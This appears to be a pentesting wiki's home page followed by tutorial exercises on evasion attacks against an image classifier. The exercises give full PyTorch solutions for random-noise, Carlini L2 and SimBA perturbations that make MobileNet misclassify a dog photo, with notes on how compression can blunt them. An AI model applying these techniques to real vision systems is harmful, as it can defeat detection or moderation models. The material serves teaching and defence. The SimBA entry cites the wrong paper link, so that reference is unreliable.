# Home

![](/files/EWpA4ykRzJL3yEjSa84M)

**Repository of useful payloads and tips for pentesting/bug bounty.**

{% hint style="info" %} <mark style="color:red;">**WEB IN CONTINUOUS UPDATE**</mark>
{% endhint %}

I want to warn that I am not the owner of the information on this website, **most of the tricks and payloads collected are from other websites and the content belongs to them.** At the end of this page you have a compilation of resources where I have got information / tips for this repository.

If you want to contact me you can do it both on [Twitter](https://twitter.com/devploit) and [Telegram](https://t.me/devploit).

If you want to contribute to this repository, you can do it by contacting me or making a PR to [GitHub](https://github.com/devploit/pwny.cc). The people who have contributed to the creation / maintenance of this wiki are listed below.

### Contributors

(BE THE FIRST ONE)

Thanks to all contributors and thanks to the owners of the websites where I have been able to gather all this information.

### Resources used

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}
PayloadAllTheThings
{% endembed %}

{% embed url="<https://book.hacktricks.xyz/>" %}
HackTricks
{% endembed %}

{% embed url="<https://pentestbook.six2dez.com/>" %}
Six2dex Pentest Book
{% endembed %}

{% embed url="<https://jorgectf.gitbook.io/awae-oswe-preparation-resources/>" %}
JorgeCTF Resources
{% endembed %}

{% embed url="<http://pentestmonkey.net/>" %}
Pentest Monkey
{% endembed %}

{% embed url="<https://github.com/s0md3v/AwesomeXSS>" %}
S0md3v - Awesome XSS
{% endembed %}


# AI


# Evasion

This is an attack in which an attacker perturbs an input such that a model produces an incorrect output (for example: this photo of a dog is now classified as a corkscrew)

Here's a helpful guide where we define some attacks based on the amount of access required (how much data do you have about model internals) and whether the attack is targeted (are you trying to force the classification to a specific class):

<table><thead><tr><th>Attack</th><th width="347">Access</th><th>Targeted</th></tr></thead><tbody><tr><td>Random</td><td>Any</td><td>No</td></tr><tr><td>Carlini L2</td><td>Gradients (Open box attack)</td><td>Both</td></tr><tr><td>SimBA</td><td>Probabilities (Partial knowledge attack)</td><td>Both</td></tr><tr><td>HopSkipJump</td><td>Single label (Closed box attack)</td><td>No (bc time)</td></tr></tbody></table>

When you're attacking models, access typically comes in one of three flavors:

* **Gradient Access** (or "Open box" attack): You have complete access to the model, either by stealing it, or by the victim using a pretrained model that you have identified and found your own copy of on say, HuggingFace. In this case, you can use open-box gradient-based attacks. These attacks use the weights (parameters of the model).
* **Scores** (or "gray-box" attack): You have API access to the model which provides complete numerical outputs of the model. In this case, you can use methods that estimate the gradients from the scores, `{"class_0: "0.89, class_1: 0.06, class_2: 0.049, class_3: 0.01}`. These attacks use "soft" labels, or probabilities from the output.
* **Labels** (or "closed-box" attack): You have API access to the model that only returns the label of the input (or, occasionally, the top 5 or so labels). In this case, you are often forced to use noisier techniques that estimate gradients based on sampling. `[class_0, class_1, class_2, class_3]`. These are "hard" labels, and represent the represent the most difficult targets, with `[class_0, class_1]` theoretically being the most difficult. Some algorithms (like HopSkipJump) can use any access.

Usually attacks are targeted or untargeted:

* **Targeted Attack**: In a targeted attack, the goal is to modify the image so that the model classifies the perturbed image as a specific, chosen target class. The attack carefully adjusts the perturbation to change the model’s prediction from the original class to the desired target class. This requires more precision, as it directs the perturbation toward a particular classification.
* **Untargeted Attack**: In an untargeted attack, the goal is simply to cause the model to misclassify the image, without needing it to fall into any specific target class. The attack modifies the image until the model predicts any class different from the original one. This is generally easier to achieve since it doesn’t require a specific outcome, just a change in classification.

## Attacks

### Random Attack

* A **Random Attack** is a simple, baseline approach where random noise or perturbations are added to an input to see if it will mislead the model. This type of attack does not rely on any information about the model’s internals or predictions, making it a "blind" or brute-force approach.
* Since it doesn’t leverage any model feedback, it is often ineffective compared to more sophisticated methods. However, it can sometimes succeed against poorly robust models.
* [Exercise 1](/so/ai/evasion/exercise-1)

### Carlini L2 Attack

* The **Carlini L2 Attack** is a gradient-based attack designed by Nicholas Carlini and David Wagner, specifically crafted to create small, imperceptible changes in input images to fool a neural network classifier.
* It minimizes the **L2 distance** (the Euclidean distance) between the original input and the adversarial input, making the modifications less noticeable. This attack requires access to the model’s gradients, which allows it to carefully calculate how to modify each pixel to achieve a specific misclassification.
* It is one of the most powerful attacks against machine learning models, especially deep neural networks, as it often succeeds while keeping the perturbations minimal and visually undetectable.
* <https://arxiv.org/abs/1608.04644>
* [Exercise 2](/so/ai/evasion/exercise-2)
* [Exercise 3](/so/ai/evasion/exercise-3)

### SimBA (Simple Black-box Adversarial Attack)

* The **SimBA** attack is a **black-box** attack that requires only the output probabilities of the model, not the gradients. It works by perturbing pixels or groups of pixels one at a time and observing how these changes impact the model’s prediction probability.
* SimBA iteratively applies perturbations and uses the model’s probability scores to decide which changes push the model toward misclassification with minimal modification.
* Because it doesn’t require gradient access, it is suitable for attacking models when only limited information is available (e.g., only probability outputs are accessible).
* <https://arxiv.org/abs/1608.04644>
* [Exercise 4](/so/ai/evasion/exercise-4)

### HopSkipJump Attack

* **HopSkipJump** is another **black-box** attack that only requires the final predicted label, not the full probability distribution or gradients. It is based on the principle of **boundary attacks**, where the adversarial example is gradually moved towards the decision boundary between classes until it crosses over into the target misclassified category.
* This attack works by exploring the decision boundary through iterative steps, “hopping” toward the boundary and adjusting direction based on feedback from the predicted class label.
* HopSkipJump is efficient in closed-box scenarios, but creating a targeted version (to achieve a specific misclassification) can be time-consuming because it needs a series of small adjustments to gradually push the input to the desired target class.
* <https://arxiv.org/abs/1904.02144>

{% embed url="<https://arxiv.org/abs/1608.04644>" %}


# Exercise 1

"Evasion" with random noise

## Model

{% code overflow="wrap" %}

```python
import torch
from PIL import Image
from IPython import display

import pandas as pd
import torchvision
from torchvision import transforms

import numpy as np
import matplotlib.pyplot as plt

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
print(device)

#load the model from the pytorch hub
model = torch.hub.load('pytorch/vision:v0.10.0', 'mobilenet_v2', weights='MobileNet_V2_Weights.DEFAULT', verbose=False)

# Put model in evaluation mode
model.eval()

# put the model on a GPU if available, otherwise CPU
model.to(device);

# Define the transforms for preprocessing
preprocess = transforms.Compose([
    transforms.Resize(256),  # Resize the image to 256x256
    transforms.CenterCrop(224),  # Crop the image to 224x224 about the center
    transforms.ToTensor(),  # Convert the image to a PyTorch tensor
    transforms.Normalize(
        mean=[0.485, 0.456, 0.406],  # Normalize the image with the ImageNet dataset mean values
        std=[0.229, 0.224, 0.225]  # Normalize the image with the ImageNet dataset standard deviation values
    )
]);

def tensor_to_pil(img_tensor):
    # tensor: pre-processed tensor object resulting from preprocess(img).unsqueeze(0)
    unnormed_tensor = unnormalize(img_tensor)
    return transforms.functional.to_pil_image(unnormed_tensor[0])

unnormalize = transforms.Normalize(
   mean= [-m/s for m, s in zip([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])],
   std= [1/s for s in [0.229, 0.224, 0.225]]
)

# load labels
with open("../data/labels.txt", 'r') as f:
    labels = [label.strip() for label in f.readlines()]

# load an example image
img = Image.open("../data/dog.jpg")

plt.imshow(img)
plt.axis('off')
plt.show()

# preprocess the image
img_tensor = preprocess(img).unsqueeze(0)

print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\n")

# move sample to the right device
img_tensor = img_tensor.to(device)

with torch.no_grad():
    output = model(img_tensor)

print(f"Image tensor on device:\n---------------\n{img_tensor.device}\n")
print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\nclass: {type(img_tensor)}\n")
print(f"Shape of outputs:\n---------------\n{output.shape}\n")
print(f"Pred Index:\n---------------\n{output[0].argmax()}\n")
print(f"Pred Label:\n---------------\n{labels[output[0].argmax()]}\n")

unnormed_img_tensor= unnormalize(img_tensor)

img_pil = transforms.functional.to_pil_image(unnormed_img_tensor[0])
img_pil.show()
```

{% endcode %}

## Exercise

For fun, let's try to get a German Shepard randomly. Write a loop that,

1. Generates a random tensor and send it to the model for inference -- try modifying the rescaling of the random noise below (the `*1`, and `+0` bits)
2. Store the output index, output label, and image in a tuple
3. Add that tuple to a list
4. Stop when you get output index of `235` **OR have run `1000` queries**
5. Look at a few of the images

```python
queries = 1000
target_output = 235
tensor = torch.randn(3, 224, 224) * 1.0 + 0.0
```

Success criteria for this exercise **do not** require you to actually create a sample of random noise that gets classified as a German Shepherd: that's extremely unlikely (but let us know if it happens!) -- just to try to do it. Please stop at 1000 attempts.

What we expect you to get from this exercise:

1. Even though the images you have generated at random look like noise, the model still classifies them confidently (why?).
2. Random search is not an efficient way of generating adversarial samples.

## Solution

```python
queries = 1000
target_output = 235
output_index = 1000
i = 0

max_val = torch.max(img_tensor)
min_val = torch.min(img_tensor)
modifier = max_val-min_val
while not output_index == target_output:
    tensor = torch.randn(3, 224, 224).to(device) * modifier + min_val
    tensor = tensor.unsqueeze(0).to(device)
    output = model(tensor)
    output_index = output[0].argmax()
    output_label = labels[output_index]
    i+=1
    if i%100==1:
        print(output_index,output_label)
    if i == queries:
        break
print(output_index,output_label)
```

1. **Initial Parameters**:
   * `queries = 1000`: Sets a limit of 1000 queries to the model.
   * `target_output = 235`: The target output index the model is expected to predict.
   * `output_index = 1000`: Initializes the output index, which will update with each iteration.
   * `i = 0`: Counter to track the number of attempts.
2. **Tensor Value Range**:
   * `max_val` and `min_val`: Calculate the maximum and minimum values of the image tensor (`img_tensor`).
   * `modifier`: Sets the range of values for the tensor (`max_val - min_val`) to scale the random images generated.
3. **Main Loop**:
   * The `while` loop generates random tensors (`tensor = torch.randn(3, 224, 224)`) that are scaled and shifted to match the range of `img_tensor`.
   * The tensor is resized and passed to `model(tensor)` for prediction.
   * `output_index = output[0].argmax()`: Gets the index of the highest-probability class from the model’s output.
   * `output_label = labels[output_index]`: Maps the output index to a corresponding label.
   * Every 100 attempts, the code prints the current `output_index` and `output_label`.
4. **Termination**:
   * The loop stops if `output_index` matches `target_output` or if the maximum of 1000 iterations is reached.
   * Finally, the last `output_index` and `output_label` are printed.

**Purpose**: The code is randomly generating images to attempt to find one that the model classifies as a specific target class (`target_output`). This is a common approach in adversarial attacks or model testing where an image is generated to trigger a specific prediction.


# Exercise 2

Carlini L2 Attack

**KEY IDEAS:** Rather than optimizing the model parameters, we will modify the input image. We will use existing optimization tools such that we

1. Modify the input image to either *maximize* the classification loss function with respect to the correct label (untargeted attack) or *minimize* the classification loss function with respect to a label other than the original (targeted attack).
2. Minimize the distance between the evasive image and the original image, to avoid the pertubations being overly noticable to the human eye.

<figure><img src="/files/cBEWRHDz1Ahrl7KDbmIH" alt=""><figcaption></figcaption></figure>

## Model

{% code overflow="wrap" %}

```python
import torch
from PIL import Image
from IPython import display

import pandas as pd
import torchvision
from torchvision import transforms

import numpy as np
import matplotlib.pyplot as plt

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
print(device)

#load the model from the pytorch hub
model = torch.hub.load('pytorch/vision:v0.10.0', 'mobilenet_v2', weights='MobileNet_V2_Weights.DEFAULT', verbose=False)

# Put model in evaluation mode
model.eval()

# put the model on a GPU if available, otherwise CPU
model.to(device);

# Define the transforms for preprocessing
preprocess = transforms.Compose([
    transforms.Resize(256),  # Resize the image to 256x256
    transforms.CenterCrop(224),  # Crop the image to 224x224 about the center
    transforms.ToTensor(),  # Convert the image to a PyTorch tensor
    transforms.Normalize(
        mean=[0.485, 0.456, 0.406],  # Normalize the image with the ImageNet dataset mean values
        std=[0.229, 0.224, 0.225]  # Normalize the image with the ImageNet dataset standard deviation values
    )
]);

def tensor_to_pil(img_tensor):
    # tensor: pre-processed tensor object resulting from preprocess(img).unsqueeze(0)
    unnormed_tensor = unnormalize(img_tensor)
    return transforms.functional.to_pil_image(unnormed_tensor[0])

unnormalize = transforms.Normalize(
   mean= [-m/s for m, s in zip([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])],
   std= [1/s for s in [0.229, 0.224, 0.225]]
)

# load labels
with open("../data/labels.txt", 'r') as f:
    labels = [label.strip() for label in f.readlines()]

# load an example image
img = Image.open("../data/dog.jpg")

plt.imshow(img)
plt.axis('off')
plt.show()

# preprocess the image
img_tensor = preprocess(img).unsqueeze(0)

print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\n")

# move sample to the right device
img_tensor = img_tensor.to(device)

with torch.no_grad():
    output = model(img_tensor)

print(f"Image tensor on device:\n---------------\n{img_tensor.device}\n")
print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\nclass: {type(img_tensor)}\n")
print(f"Shape of outputs:\n---------------\n{output.shape}\n")
print(f"Pred Index:\n---------------\n{output[0].argmax()}\n")
print(f"Pred Label:\n---------------\n{labels[output[0].argmax()]}\n")

unnormed_img_tensor= unnormalize(img_tensor)

img_pil = transforms.functional.to_pil_image(unnormed_img_tensor[0])
img_pil.show()
```

{% endcode %}

## Exercise

Okay - time to kick you out of the nest a little bit - recreate the attack from above

1. Set the `current_index`
2. Wrap the optimization in loop
3. Observe the final image and collect the final label

## Solution

#### Summary

First, a mask is created with random noise, which is then optimized using an Adam optimizer. This mask is applied to the original image, creating a modified version that attempts to shift the model’s prediction to a different class. A loss function is defined to minimize classification accuracy for the original label while also controlling the mask’s magnitude. The optimization loop runs until the model misclassifies the modified image, effectively demonstrating an adversarial attack.

1. **Generate the Mask**

We first initialize a mask that will be used to perturb the image. In the image above, this is the middle figure. We will initialize it as random noise from a normal distribution, and then modify it until our loss function is optimized.

```python
# define how much we want to change the image 
# the larger this is, the more strongly the mask will be applied to the original image
change = 1e-3

# create new img_tensor
img_tensor = preprocess(img).unsqueeze(0)

# create the halloween mask 
mask = torch.randn_like(img_tensor) * change

# turn in into something torch can work with
mask_parameter = torch.nn.Parameter(mask)

# create the final dog + noise
masked_img_tensor = img_tensor + mask_parameter

print(f"Mask shape:\n---------------\n{mask.shape}\n")
```

* [`torch.randn_like`](https://pytorch.org/docs/stable/generated/torch.randn_like.html#torch-randn-like): Takes in a tensor and returns a tensor of the same shape that is filled with random numbers from a normal distribution with mean 0 and variance 1.
* [`torch.nn.Parameter(mask)`](https://pytorch.org/docs/stable/generated/torch.nn.parameter.Parameter.html#torch.nn.parameter.Parameter): This takes our `mask` tensor and turns it into a learnable parameter that Pytorch can optimize during training. Remember, we are optimizing the mask itself, not the model parameters. This sets that up.

{% code overflow="wrap" %}

```python
img_tensor = img_tensor.to(device)
masked_img_tensor = masked_img_tensor.to(device)

with torch.no_grad():
    output = model(img_tensor)
    masked = model(masked_img_tensor)
    
    probs = torch.softmax(output, dim=1)[0][output[0].argmax()].item()
    mask_probs = torch.softmax(masked, dim=1)[0][masked[0].argmax()].item()

    prediction = labels[output[0].argmax()]
    mask_prediction = labels[masked[0].argmax()]

    img_pil = tensor_to_pil(img_tensor)
    masked_pil = tensor_to_pil(masked_img_tensor)
    
plt.figure(figsize=(10, 5))  # Adjust the figsize as needed
plt.subplot(1, 2, 1)
plt.imshow(img_pil)
plt.title(f"Original Image\nPrediction: {prediction}, Probability: {probs:.2f}")
plt.axis('off')

plt.subplot(1, 2, 2)
plt.imshow(masked_pil)
plt.title(f"Masked Image\nPrediction: {mask_prediction}, Probability: {mask_probs:.2f}")
plt.axis('off')

plt.show()
```

{% endcode %}

* `.to(device)`: All operations in PyTorch must be done on tensors that are on the same device. In most cases here, this is the GPU that we have available.
* [`torch.no_grad`](https://pytorch.org/docs/stable/generated/torch.no_grad.html#no-grad): Disables the gradient calculation. We are only doing inference on an already trained model here, so we are only doing "forward pass" computations. Using this means we do not build a computational graph for the operations within the context and therefore **save on memory**.

{% code overflow="wrap" %}

```python
l2_norm = torch.norm(img_tensor - masked_img_tensor, p=2)
print("Distance (L2 norm) between original image and masked image:\n---------------\n", l2_norm.item())
```

{% endcode %}

* **"What do we mean when we talk about the distance between images?"** If you're a visual learner, you may find [this tool](https://distill.pub/2019/activation-atlas/) helpful. At each layer, this is a visualization of the activations that a neural network has learned about images for classification. While it doesn't directly translate to "distance" as we are thinking about it here, it may be helpful to wrap your mind around the concept of the distance between vectorized representations of images. Our model isn't actually seeing the images - it's seeing the numerical representation of those images as tensors, between which we can compute distance like we would for any vector.

2. **Build the Optimizer**

{% code overflow="wrap" %}

```python
# parameters let the optimizer know how to update them (rather than just tensors, which you have to manage by hand)
mask_parameter = torch.nn.Parameter(mask.to(device))

# set the target to our mask, not the model
optimizer = torch.optim.Adam([mask_parameter])

# Find our current prediction 
current_index = model(img_tensor)[0].argmax().unsqueeze(0)
```

{% endcode %}

* [`torch.optim.Adam([mask_parameter])`](https://pytorch.org/docs/stable/generated/torch.optim.Adam.html#adam): This sets the target of our optimization to be the `mask_parameter` tensor. It's telling PyTorch that this object in particular is what we are changing in order to optimize our loss function. It also specifies the `Adam` algorithm as our choice for optimization. If you want to know the magic math it's doing, check out the PyTorch docs.
* `model(img_tensor)[0].argmax().unsqueeze(0)`:
  * `model(img_tensor)` returns a tensor of shape (`batch_size`, `num_classes`) where `num_classes` is the number of possible classifications. The values in this tensor are logits (think "scores") for each class.
  * `model(img_tensor)[0]` we have a batch size of 1, so we only care about the first set of logits.
  * `model(img_tensor)[0].argmax()` returns the index of the highest logit, in other words the index of the class with the highest score, or our model's prediction.

3. **Define the loss function**

{% code overflow="wrap" %}

```python
def loss_function(output, mask, current_index):
    # note the negative here!  We want the loss when the output does _not_ match the current index to be small.
    # usually when the two don't match, the loss is large; adding the negative sign makes it negative (thus: small)
    classification_loss = -torch.nn.functional.cross_entropy(output, current_index)
    
    # this says "No single pixel should be big, and the total magnitude of all of them should be small"
    l2_loss = torch.pow(mask, 2).sum()
    
    total_loss = classification_loss + l2_loss
    
    return total_loss, classification_loss, l2_loss
```

{% endcode %}

4. **Final part**

{% code overflow="wrap" %}

```python
# the index of the class of our image's current model inference 
# should be 235: German Shepherd
current_index = model(img_tensor)[0].argmax().unsqueeze(0)

# Loop until we've classified the manipulated image as something else
while True:
    # Compute the logits of the perturbed image with the current mask_parameter
    output = model(img_tensor+mask_parameter)

    # Compute the loss(es) given the current inference and the original img index
    total_loss, class_loss, l2_loss = loss_function(output, mask_parameter, current_index)

    # reset the optimizer's gradient to zero before backpropagation
    optimizer.zero_grad()

    # compute the gradients with respect to the loss and the mask_parameter
    # remember that the optimizer's target is the mask_parameter, not the model params
    total_loss.backward()

    # update the mask_parameter values based on the computed gradients
    optimizer.step()

    print("Total loss: {:4.4f}    class loss:{:4.4f}     l2 loss: {:4.4f}   Predicted class index:{}".format(
        total_loss.item(), class_loss.item(), l2_loss.item(), output[0].argmax()
    ))

    # have we achieved misclassification?
    if output[0].argmax() != current_index:
        break
        
print(f"Winner winner: {labels[output[0].argmax()]}")
```

{% endcode %}

{% embed url="<https://medium.com/@zachariaharungeorge/adversarial-attacks-with-carlini-wagner-approach-8307daa9a503>" %}

{% embed url="<https://github.com/carlini/nn_robust_attacks/blob/master/l2_attack.py>" %}

{% embed url="<https://www.youtube.com/watch?v=FHnI4Lo7s-Y&ab_channel=BigDataAnalyticsandManagementLabatUTDallas>" %}


# Exercise 3

Carlini L2 Attack

## Model

{% code overflow="wrap" %}

```python
import torch
from PIL import Image
from IPython import display

import pandas as pd
import torchvision
from torchvision import transforms

import numpy as np
import matplotlib.pyplot as plt

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
print(device)

#load the model from the pytorch hub
model = torch.hub.load('pytorch/vision:v0.10.0', 'mobilenet_v2', weights='MobileNet_V2_Weights.DEFAULT', verbose=False)

# Put model in evaluation mode
model.eval()

# put the model on a GPU if available, otherwise CPU
model.to(device);

# Define the transforms for preprocessing
preprocess = transforms.Compose([
    transforms.Resize(256),  # Resize the image to 256x256
    transforms.CenterCrop(224),  # Crop the image to 224x224 about the center
    transforms.ToTensor(),  # Convert the image to a PyTorch tensor
    transforms.Normalize(
        mean=[0.485, 0.456, 0.406],  # Normalize the image with the ImageNet dataset mean values
        std=[0.229, 0.224, 0.225]  # Normalize the image with the ImageNet dataset standard deviation values
    )
]);

def tensor_to_pil(img_tensor):
    # tensor: pre-processed tensor object resulting from preprocess(img).unsqueeze(0)
    unnormed_tensor = unnormalize(img_tensor)
    return transforms.functional.to_pil_image(unnormed_tensor[0])

unnormalize = transforms.Normalize(
   mean= [-m/s for m, s in zip([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])],
   std= [1/s for s in [0.229, 0.224, 0.225]]
)

# load labels
with open("../data/labels.txt", 'r') as f:
    labels = [label.strip() for label in f.readlines()]

# load an example image
img = Image.open("../data/dog.jpg")

plt.imshow(img)
plt.axis('off')
plt.show()

# preprocess the image
img_tensor = preprocess(img).unsqueeze(0)

print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\n")

# move sample to the right device
img_tensor = img_tensor.to(device)

with torch.no_grad():
    output = model(img_tensor)

print(f"Image tensor on device:\n---------------\n{img_tensor.device}\n")
print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\nclass: {type(img_tensor)}\n")
print(f"Shape of outputs:\n---------------\n{output.shape}\n")
print(f"Pred Index:\n---------------\n{output[0].argmax()}\n")
print(f"Pred Label:\n---------------\n{labels[output[0].argmax()]}\n")

unnormed_img_tensor= unnormalize(img_tensor)

img_pil = transforms.functional.to_pil_image(unnormed_img_tensor[0])
img_pil.show()
```

{% endcode %}

## Exercise

Okay. Here's the deal. These attacks are cool, but there are some very real operational constraints, primarily as it relates to lossy data conversions. Let's explore one of those now.

1. Save the adversarial image (`masked_pil`) as a `jpeg` (`masked_pil.save()`)
2. Reload it from disk, process it, and submit it to the model and examine the output
3. Repeat steps 2 and 3 but save your adversarial image as a `png`
4. Can you explain what's going on?

Success criteria:

* Just complete the steps: most of the time, the jpg image should no longer be an effective evasion, while the png might still work (if they both work, then you got luck or unlucky depending on your point of view\... try creating a new adversarial image?)

What we want you to get out of this:

* The results we get from evasions may not correspond to real-world images that can be saved to and loaded from a file -- you might have to do a bit more work to get something you can submit to a model API.
  * Hint: look at the individual pixel values in your mask, and compare to the pixel values you get from the image version after you load it
* Lossy vs lossless image formats can (often) have an impact
* Start thinking about defenses: if saving it to a file and loading it can (sometimes) screw up the evasion, what else might defend against these evasions?

## Solution

The goal here is to understand the ways in which the compression of images can impact our attack approaches. Here we save and retrieve the adversarial image both as a JPG and PNG format and observe the changes in the prediction.

{% code overflow="wrap" %}

```python
# save the masked img as a jpg
masked_img_tensor = img_tensor + mask_parameter
masked_pil = tensor_to_pil(masked_img_tensor)
masked_pil.save(fp='output.jpg')

# load the same img
new_img = Image.open("output.jpg")

# just evaluating, no need for gradients
with torch.no_grad():
    # preprocess, move to the right device
    jpg_img_array = preprocess(new_img).to(device).unsqueeze(0)
    # submit to the model for inference
    outputs = model(jpg_img_array)[0].argmax()

print("Target index is:", outputs)
print("Target label is:", labels[outputs])

# repeat for PNG
masked_pil.save(fp='output.png')

new_img = Image.open("output.png")

with torch.no_grad():
    png_img_array = preprocess(new_img).to(device).unsqueeze(0)
    outputs = model(png_img_array)[0].argmax()

print("Target index is:", outputs)
print("Target label is:", labels[outputs])
```

{% endcode %}

* **Why did our prediction change?** JPEG uses **lossy** compression, which discards image data to reduce file size. This compression may impact the color channel data and pixel values themselves. Remember, our model isn't "seeing" the picture - it's processing a vectorized representation. Compression introduces changes to underlying values across the image, and therefore can impact inference.
* **What about PNG images?** PNG is a "lossless" format, so in theory it preserves the original image data. However, the prediction may have still changed. PNG compression implementations may sometimes lead to differences from the original image due to floating-point precision issues in the compression / decompression process.
* **What does all of this mean for defense against evasion attacks?** Discrepencies between the model inference of non-compressed and compressed images could help a system to detect possible adversarial examples.

If you want some real nightmare fuel, you can visualize the changes caused by the compression.

```python
# visualize the compression changes

jpg_pil = tensor_to_pil(img_tensor - jpg_img_array)
png_pil = tensor_to_pil(img_tensor - png_img_array)

plt.figure(figsize=(10, 5)) 
plt.subplot(1, 2, 1)
plt.imshow(jpg_pil)
plt.title(f"JPG Compression")
plt.axis('off')

plt.subplot(1, 2, 2)
plt.imshow(png_pil)
plt.title(f"PNG Compression")
plt.axis('off')

plt.show()
```


# Exercise 4

SimBA (Simple Black-bot Adversarial Attack)

## Model

{% code overflow="wrap" %}

```python
import torch
from PIL import Image
from IPython import display

import pandas as pd
import torchvision
from torchvision import transforms

import numpy as np
import matplotlib.pyplot as plt

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
print(device)

#load the model from the pytorch hub
model = torch.hub.load('pytorch/vision:v0.10.0', 'mobilenet_v2', weights='MobileNet_V2_Weights.DEFAULT', verbose=False)

# Put model in evaluation mode
model.eval()

# put the model on a GPU if available, otherwise CPU
model.to(device);

# Define the transforms for preprocessing
preprocess = transforms.Compose([
    transforms.Resize(256),  # Resize the image to 256x256
    transforms.CenterCrop(224),  # Crop the image to 224x224 about the center
    transforms.ToTensor(),  # Convert the image to a PyTorch tensor
    transforms.Normalize(
        mean=[0.485, 0.456, 0.406],  # Normalize the image with the ImageNet dataset mean values
        std=[0.229, 0.224, 0.225]  # Normalize the image with the ImageNet dataset standard deviation values
    )
]);

def tensor_to_pil(img_tensor):
    # tensor: pre-processed tensor object resulting from preprocess(img).unsqueeze(0)
    unnormed_tensor = unnormalize(img_tensor)
    return transforms.functional.to_pil_image(unnormed_tensor[0])

unnormalize = transforms.Normalize(
   mean= [-m/s for m, s in zip([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])],
   std= [1/s for s in [0.229, 0.224, 0.225]]
)

# load labels
with open("../data/labels.txt", 'r') as f:
    labels = [label.strip() for label in f.readlines()]

# load an example image
img = Image.open("../data/dog.jpg")

plt.imshow(img)
plt.axis('off')
plt.show()

# preprocess the image
img_tensor = preprocess(img).unsqueeze(0)

print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\n")

# move sample to the right device
img_tensor = img_tensor.to(device)

with torch.no_grad():
    output = model(img_tensor)

print(f"Image tensor on device:\n---------------\n{img_tensor.device}\n")
print(f"Inputs information:\n---------------\nshape:{img_tensor.shape}\nclass: {type(img_tensor)}\n")
print(f"Shape of outputs:\n---------------\n{output.shape}\n")
print(f"Pred Index:\n---------------\n{output[0].argmax()}\n")
print(f"Pred Label:\n---------------\n{labels[output[0].argmax()]}\n")

unnormed_img_tensor= unnormalize(img_tensor)

img_pil = transforms.functional.to_pil_image(unnormed_img_tensor[0])
img_pil.show()
```

{% endcode %}

## Untargeted Attack

{% code overflow="wrap" %}

```python
# create new img_tensor
img_tensor = preprocess(img).unsqueeze(0).to(device)

n_masks = 1000
eta = 0.005

mask_collection = torch.randn((n_masks, *img_tensor.shape)).to(device)*eta

current_mask = torch.zeros_like(img_tensor).to(device)

starting_index = model(img_tensor).argmax(1)
print(f"Starting index is:\n---------------\n{starting_index}\n")

starting_class_score = model(img_tensor + current_mask)[0, starting_index.item()].item()
print(f"Starting class score is:\n---------------\n{starting_class_score}\n")

# Zero our current mask
current_mask = torch.zeros_like(img_tensor).to(device)

# Get our starting label index
starting_label = model(img_tensor).argmax(1)
current_label = starting_label

# Get our starting confidence score
best_score = model(img_tensor + current_mask)[0, starting_index.item()].item()

# Run until we reclassify successfully ...
while current_label == starting_label:

    # Select a random mask from the collection we created
    mask_candidate_idx = np.random.choice(len(mask_collection))
    mask_candidate = mask_collection[mask_candidate_idx]

    # Don't store gradient information while doing inference
    with torch.no_grad():
        # get the scores for the image if we updated the current mask to
        # use the candidate we just randomly picked
        output = model(img_tensor + current_mask + mask_candidate)
    
    # select the most probable label from the output of the model with the candidate mask in play
    current_label = output.argmax(1).item()
    # our score will be the score of our original label: we want this to go _down_ (i.e. the current
    # label to become less likely)
    new_score = output[0, starting_label.item()].item()

    # If the score for the current class -- the one we're trying to get away from -- did not decrease, then
    # skip back to the beginning and pick another candidate mask
    if new_score >= best_score:
        continue

    # If we got to here, then we decreased the score of the true class for the image; this means
    # the score for some other class went up, and at some point if we get the score for the true 
    # label low enough, some other class will be the maximum and we will have successfully misclassified.
    
    
    # Write some monitoring for dopamine 
    print(f"Best score is: {best_score:4.6f} -- prediction is: {current_label}  ", end='\r', flush=True)
    
    # Update our current score
    best_score = new_score
    
    # And update our mask
    current_mask += mask_candidate
                
print(f"\n\nWinner winner: {labels[output[0].argmax()]} ({output[0].argmax()})")

with torch.no_grad():
    output = model(img_tensor)
    masked = model(img_tensor + current_mask)
    
    probs = torch.softmax(output, dim=1)[0][output[0].argmax()].item()
    mask_probs = torch.softmax(masked, dim=1)[0][masked[0].argmax()].item()

    prediction = labels[output[0].argmax()]
    mask_prediction = labels[masked[0].argmax()]

    unnormed_img_tensor= unnormalize(img_tensor)
    unnormed_mask_tensor= unnormalize(img_tensor + current_mask)

    img_pil = transforms.functional.to_pil_image(unnormed_img_tensor[0])
    masked_pil = transforms.functional.to_pil_image(unnormed_mask_tensor[0])
    
plt.figure(figsize=(10, 5))  # Adjust the figsize as needed
plt.subplot(1, 2, 1)
plt.imshow(img_pil)
plt.title(f"Original Image\nPrediction: {prediction}, Probability: {probs:.2f}")
plt.axis('off')

plt.subplot(1, 2, 2)
plt.imshow(masked_pil)
plt.title(f"Masked Image\nPrediction: {mask_prediction}, Probability: {mask_probs:.2f}")
plt.axis('off')

plt.show()

difference = unnormed_mask_tensor - unnormed_img_tensor
difference_list = difference.view(-1).tolist()

# Plot the histogram
plt.hist(difference_list, bins=100)
plt.xticks(rotation=45)
plt.show()

print("Minimum and maximum difference between the images:", difference.min().item(), difference.max().item())
```

{% endcode %}

**Purpose:** This code implements an adversarial attack to misclassify an image by applying a perturbation (mask) to it, using a random selection of masks and iterating until the model's classification changes.

1. **Setup**: The image is preprocessed and moved to the device (GPU/CPU). A collection of random masks is generated to be applied to the image during the attack.
2. **Initial classification**: The model's initial prediction (starting class) is obtained, and the score for this class is recorded.
3. **Adversarial perturbation**: In a loop, a random mask is selected from the collection and added to the current mask (initially zero). The model's output is evaluated to check if the score of the original class decreases. If it does, the current mask is updated; otherwise, the loop retries with a different mask.
4. **Success criteria**: The process continues until the model misclassifies the image, meaning the score for the original class is low enough for another class to become the model’s prediction.
